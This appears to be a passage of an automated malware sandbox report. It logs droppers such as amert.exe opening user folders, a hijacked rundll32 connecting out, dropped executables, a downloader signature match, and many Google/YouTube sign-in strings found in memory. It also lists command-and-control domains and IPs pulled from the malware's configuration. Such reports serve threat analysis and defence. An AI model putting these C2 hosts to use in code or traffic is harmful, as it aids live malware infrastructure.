Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 193.233.132.56 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: pillowbrocccolipe.shop
Source: Malware configuration extractor	URLs: communicationgenerwo.shop
Source: Malware configuration extractor	URLs: diskretainvigorousiw.shop
Source: Malware configuration extractor	URLs: affordcharmcropwo.shop
Source: Malware configuration extractor	URLs: dismissalcylinderhostw.shop
Source: Malware configuration extractor	URLs: enthusiasimtitleow.shop
Source: Malware configuration extractor	URLs: worryfillvolcawoi.shop
Source: Malware configuration extractor	URLs: cleartotalfisherwo.shop
Source: Malware configuration extractor	URLs: affordcharmcropwo.shop
Source: Malware configuration extractor	URLs: http://185.172.128.150/c698e1bc8a2f5e6d.php
Source: Malware configuration extractor	URLs: http://trad-einmyus.com/index.php
Source: Malware configuration extractor	URLs: http://tradein-myus.com/index.php
Source: Malware configuration extractor	URLs: http://trade-inmyus.com/index.php
Source: Malware configuration extractor	IPs: 185.172.128.19
Source: Malware configuration extractor	URLs: 185.215.113.67:26260

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: EubzUqqfLmBbNiHWxubQa6s2.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: dq1f6mXIBjMzMXMQVeg2fNsL.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: MTc4G09Eq4noHZ0G091uBZf1.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: 5aIar1h6imWjPJZYPL4QSqoe.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: r5kIpAOOvnafOvgnH4OtxIFK.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: s0yoB0FX6GRQugk063ujbi4o.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: EUl5mGPccm3Ux8yn4fNnNA26.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: AN3CiEs9vHs3cPsEPcJxdtOY.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: K7e4fpNGO8JkAsFxVXguIAcd.exe.54.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: qhzSo7WKfB79QVVeIp5fAbeL.exe.54.dr

Yara detected Generic Downloader

Source: Yara match	File source: 50.2.file300un.exe.1f3800d4830.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.2.file300un.exe.1f3800d7298.0.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View	IP Address: 193.233.132.139 193.233.132.139
Source: Joe Sandbox View	IP Address: 185.172.128.90 185.172.128.90

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Code function: 9_2_008A52A0 recv,

9_2_008A52A0

Source: d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: in?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: in?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/v/ equals www.youtube.com (Youtube)
Source: ac861238af.exe, 00000010.00000003.7189686015.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7258589510.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7259110109.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccoun equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2824119223.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: //www.youtube.co equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: //www.youtube.com/accountYouTube equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: //www.youtube.com/accountYouTube/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2824119223.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Factio- equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_l= equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rgH5 equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rgP equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rgkk equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000002.3350736971.00000000013ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206207533.0000000008124000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=010&t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: andle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: andle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: gin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: gin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/v/ equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_h equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252F equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rgYouTube equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rgYouTube/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2838516911.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en(R equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820817674.000000000144A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enYouTube equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enYouTube/v/ equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en^S equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en} equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsig equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0YouTube equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0YouTube/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000002.3079225585.00000000013E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0raU equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000009.00000003.2912274365.0000000007DC2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3205947734.0000000007CEB000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819482005.0000000007CBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: ac861238af.exe, 00000010.00000003.2320418390.000000000336C000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320275710.0000000003355000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320347999.0000000003358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account* equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820817674.000000000144A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountE equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2828616710.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826400120.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840128095.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountJ equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206207533.0000000008124000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206207533.0000000008124000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube/v/ equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountkO equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtru equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2824193350.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840876152.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825758993.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ion_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5C equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2832279373.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2828966339.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ion_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5C! equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2832279373.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2828966339.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ion_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5C!! equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ion_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg equals www.youtube.com (Youtube)
